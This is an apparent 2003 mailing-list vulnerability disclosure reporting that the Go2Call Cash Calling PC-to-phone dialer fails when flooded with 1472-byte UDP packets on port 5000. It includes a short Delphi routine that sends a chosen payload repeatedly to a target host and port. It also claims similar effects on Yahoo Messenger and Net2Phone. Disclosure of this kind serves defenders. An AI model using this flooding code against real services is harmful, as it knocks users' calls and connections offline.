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Go2Call Cash Calling vulnerable


From: Dima <megapolus () hotbox ru>
Date: 1 Sep 2003 17:34:21 -0000



Hi, sorry fo my english.
I found some bug in programm Go2Call Cash Calling
It's dialer for talking from Internet Pc2Phone

If you send a little UDP packets with size 1500 bytes
for example 1472 chars 'A' on 5000 port then this prog
will doesn't work 
The exploit is very easy
a part of code on Delphi 

procedure TForm1.Button1Click(Sender: TObject);
var C:string;
    N:integer;
    MyStream:TMemoryStream;
begin
      Memo1.Lines.Add('start');
      C:=Edit3.Text; //for example 'AAAA...' 1472 char 'A' for certain
      N:=strtoint(Edit4.Text);
      NMUDP1.RemoteHost:=Edit1.Text;
      NMUDP1.RemotePort:=strtoint(Edit2.Text);
      MyStream:=TMemoryStream.Create;
      try
         MyStream.Write(C[1],Length(C));
      for n:=1 to N do
      begin
         NMUDP1.SendStream(MyStream);
      end;
      finally
         MyStream.Free;
      end;
      Memo1.Lines.Add('finish');
end;

Yahoo messenger for example lost connection afte so ataks and 5000 UDP 
port too
Net2Phone dialer pc2phone (likely Go2Call dialer) will have sound noize in 
your headphone, 6801 UDP port



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